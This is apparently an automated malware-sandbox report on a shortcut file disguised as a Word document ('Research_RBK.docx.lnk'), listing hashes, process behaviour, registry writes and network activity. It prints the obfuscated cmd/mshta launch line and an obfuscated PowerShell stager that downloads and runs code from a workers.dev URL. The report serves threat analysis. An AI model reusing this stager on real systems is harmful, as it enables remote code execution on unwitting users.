File name:

Research_RBK.docx.lnk

Full analysis: https://app.any.run/tasks/13ea0a12-c4ad-49fc-b10b-91d2ca44d673
Verdict: Malicious activity
Analysis date: May 19, 2020, 05:21:49
OS: Windows 10 Professional (build: 16299, 64 bit)
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=2, Archive, ctime=Tue Mar 19 03:44:16 2019, mtime=Fri Mar 13 13:13:39 2020, atime=Tue Mar 19 03:44:16 2019, length=280064, window=hidenormalshowminimized
MD5:

0AE222DAB0CF54266A3DD5D8FF319A87

SHA1:

D40949B3ABAC1DC48A2D4CDF7B35D3BE56A46736

SHA256:

BFA9D5CC0D139F2D8BB16D0FC8E8D661C554E77523B4B1F6C0A48A5172E45B93

SSDEEP:

192:81mIYh/DA759zxL2tyjr/flNMKw7CpHlO88sXayKTNXvKQCdkB7PM7yyKIYFGdMk:kmIIDAfzh2tE7MKlrfQVX7gdhDFpg/u

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • mshta.exe (PID: 5928)

    • Changes the autorun value in the registry

      • mshta.exe (PID: 5928)

  • SUSPICIOUS

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 4200)

    • Starts Microsoft Office Application

      • mshta.exe (PID: 5928)

    • Reads the machine GUID from the registry

      • powershell.exe (PID: 4108)
      • backgroundTaskHost.exe (PID: 5676)
      • SpeechRuntime.exe (PID: 3760)

    • Executed via COM

      • ApplicationFrameHost.exe (PID: 1660)
      • backgroundTaskHost.exe (PID: 5676)
      • SystemSettings.exe (PID: 2024)
      • SpeechRuntime.exe (PID: 3760)

    • Checks supported languages

      • SystemSettings.exe (PID: 2024)
      • backgroundTaskHost.exe (PID: 5676)

    • Creates files in the user directory

      • SystemSettings.exe (PID: 2024)

  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 5928)

    • Reads the software policy settings

      • powershell.exe (PID: 4108)
      • WINWORD.EXE (PID: 3396)

    • Reads Environment values

      • WINWORD.EXE (PID: 3396)

    • Reads settings of System Certificates

      • powershell.exe (PID: 4108)
      • WINWORD.EXE (PID: 3396)

    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 3396)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3396)

    • Scans artifacts that could help determine the target

      • WINWORD.EXE (PID: 3396)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3396)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, ExpString, TargetMetadata
FileAttributes: Archive
CreateDate: 2019:03:19 05:44:16+01:00
AccessDate: 2020:03:13 15:13:39+01:00
ModifyDate: 2019:03:19 05:44:16+01:00
TargetFileSize: 280064
IconIndex: 2
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: cmd.exe
DriveType: Fixed Disk
VolumeLabel: -
LocalBasePath: C:\Windows\System32\cmd.exe
RelativePath: ..\..\..\..\..\Windows\System32\cmd.exe
CommandLineArguments: /v /c set m=m^s^h^ta && set a=Res^earc^h_RBK.doc^x.lnk && if exist !cd!\!a! (!m! !cd!\!a!) else (!m! !temp!\Temp1_Исс^ледование_МИ^Р_РБК.z^ip\!a!)
IconFileName: %ProgramFiles%\Windows NT\Accessories\wordpad.exe
MachineID: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
103
Monitored processes
10
Malicious processes
2
Suspicious processes
2

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe mshta.exe winword.exe powershell.exe no specs conhost.exe applicationframehost.exe no specs systemsettings.exe no specs backgroundtaskhost.exe no specs speechruntime.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1136\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\WINDOWS\system32\conhost.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\conhostv2.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
1660C:\WINDOWS\system32\ApplicationFrameHost.exe -EmbeddingC:\WINDOWS\system32\ApplicationFrameHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Application Frame Host
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\applicationframehost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\kernel.appcore.dll
2024"C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanelC:\Windows\ImmersiveControlPanel\SystemSettings.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Settings
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\immersivecontrolpanel\systemsettings.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\shcore.dll
3396"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\admin\Desktop\Research_RBK.docx" /o ""C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
16.0.12026.20264
Modules
Images
c:\program files\microsoft office\root\office16\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
3760C:\Windows\System32\Speech_OneCore\Common\SpeechRuntime.exe -EmbeddingC:\Windows\System32\Speech_OneCore\Common\SpeechRuntime.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Speech Runtime Executable
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\speech_onecore\common\speechruntime.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\msvcp110_win.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcryptprimitives.dll
4108"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c while(!(.("""{0}{1}{2}"""-f ("""{1}{0}""" -f 'st-','Te'),("""{2}{1}{0}""" -f 'ec','onn','C'),("""{1}{0}"""-f'n','tio')) ("""{1}{2}{0}""" -f ("""{0}{1}"""-f("""{1}{0}"""-f'.c','le'),'om'),'g','oog') -q)) {&("""{1}{2}{0}{3}""" -f ("""{0}{1}""" -f("""{0}{1}""" -f 'a','rt-'),'Sl'),'S','t','eep') -s 5} .("""{1}{0}""" -f'ex','i')(.("""{2}{1}{0}""" -f't',("""{1}{0}"""-f 'jec','Ob'),("""{0}{1}""" -f'Ne','w-')) ("""{0}{4}{1}{2}{3}"""-f ("""{1}{0}""" -f 'W',("""{0}{1}"""-f 'Net','.')),'C','li','ent','eb')).("""{3}{4}{1}{2}{0}"""-f'ing',("""{1}{0}"""-f'lo','wn'),("""{1}{0}""" -f 'Str','ad'),'D','o')."""In`Vo`kE"""(("""https://rough-grass-45e9.poecdjusb.workers.dev/load.php"""))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
4200"C:\Windows\System32\cmd.exe" /v /c set m=m^s^h^ta && set a=Res^earc^h_RBK.doc^x.lnk && if exist !cd!\!a! (!m! !cd!\!a!) else (!m! !temp!\Temp1_Исс^ледование_МИ^Р_РБК.z^ip\!a!)C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
5676"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mcaC:\WINDOWS\system32\backgroundTaskHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Background Task Host
Exit code:
1
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtaskhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcryptprimitives.dll
5916\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\WINDOWS\system32\conhost.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\conhostv2.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
5928mshta C:\Users\admin\Desktop\Research_RBK.docx.lnk C:\WINDOWS\system32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\wldp.dll
c:\windows\system32\combase.dll
Total events
3 881
Read events
3 443
Write events
362
Delete events
76

Modification events

(PID) Process:(5928) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(5928) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(5928) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(5928) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(5928) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.docx\OpenWithProgids
Operation:writeName:Word.Document.12
Value:
(PID) Process:(5928) mshta.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\194\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(5928) mshta.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\194\52C64B7E
Operation:writeName:@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\oregres.dll,-3
Value:
&Open
(PID) Process:(5928) mshta.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\194\52C64B7E
Operation:writeName:@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\oregres.dll,-1
Value:
&Edit
(PID) Process:(5928) mshta.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\194\52C64B7E
Operation:writeName:@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\oregres.dll,-2
Value:
&New
(PID) Process:(5928) mshta.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\194\52C64B7E
Operation:writeName:@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\oregres.dll,-5
Value:
&Print
Executable files
0
Suspicious files
2
Text files
6
Unknown types
3

Dropped files

PID
Process
Filename
Type
3396WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PYWH5D97F3MUY0D0X4EU.temp —
MD5:—
SHA256:—
3396WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QT34G4LLLXMRJMG1R4MD.temp —
MD5:—
SHA256:—
2024SystemSettings.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\H0ILDUOJUC8DA4VQ9B4P.temp —
MD5:—
SHA256:—
5928mshta.exeC:\Users\admin\Desktop\Research_RBK.docxdocument
MD5:—
SHA256:—
4108powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_bvu25252.ifv.ps1text
MD5:—
SHA256:—
3396WINWORD.EXEC:\Users\admin\Desktop\~$search_RBK.docxpgc
MD5:—
SHA256:—
3396WINWORD.EXEC:\Users\admin\AppData\Local\Temp\.sestext
MD5:—
SHA256:—
3396WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\Research_RBK.docx.LNKlnk
MD5:—
SHA256:—
3396WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
4108powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_t0fl4bf2.lbj.psm1text
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
3
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3396
WINWORD.EXE
GET
304
20.191.48.196:443
https://settings-win-ppe.data.microsoft.com/settings/v2.0/Storage/StorageHealthEvaluation?os=Windows&deviceClass=Windows.Desktop&appVer=1.0.0.0
US
—
—
whitelisted
3396
WINWORD.EXE
GET
200
13.107.3.128:443
https://config.edge.skype.com/config/v2/Office/word/16.0.12026.20264/Production/CC?&Clientid=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&Application=word&Platform=win32&Version=16.0.12026.20264&MsoVersion=16.0.12026.20194&Audience=Production&Build=ship&Architecture=x64&Language=en-US&SubscriptionLicense=false&PerpetualLicense=2019&Channel=CC&InstallType=C2R&SessionId=%7b790BBBA8-9528-4038-8A46-E0CF49DC7119%7d&LabMachine=false
US
text
87.6 Kb
malicious
3396
WINWORD.EXE
POST
200
52.114.128.70:443
https://self.events.data.microsoft.com/OneCollector/1.0/
US
text
9 b
whitelisted
3396
WINWORD.EXE
POST
200
52.114.128.70:443
https://self.events.data.microsoft.com/OneCollector/1.0/
US
text
9 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3396
WINWORD.EXE
13.107.3.128:443
config.edge.skype.com
Microsoft Corporation
US
whitelisted
5528
svchost.exe
20.191.48.196:443
settings-win-ppe.data.microsoft.com
Microsoft Corporation
US
unknown
3396
WINWORD.EXE
52.114.128.70:443
self.events.data.microsoft.com
Microsoft Corporation
US
unknown

DNS requests

Domain
IP
Reputation
config.edge.skype.com
  • 13.107.3.128
malicious
self.events.data.microsoft.com
  • 52.114.128.70
whitelisted
settings-win-ppe.data.microsoft.com
  • 20.191.48.196
whitelisted

Threats

No threats detected
Process
Message
conhost.exe
InitSideBySide failed create an activation context. Error: 1814
conhost.exe
InitSideBySide failed create an activation context. Error: 1814
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Research_RBK.docx.lnk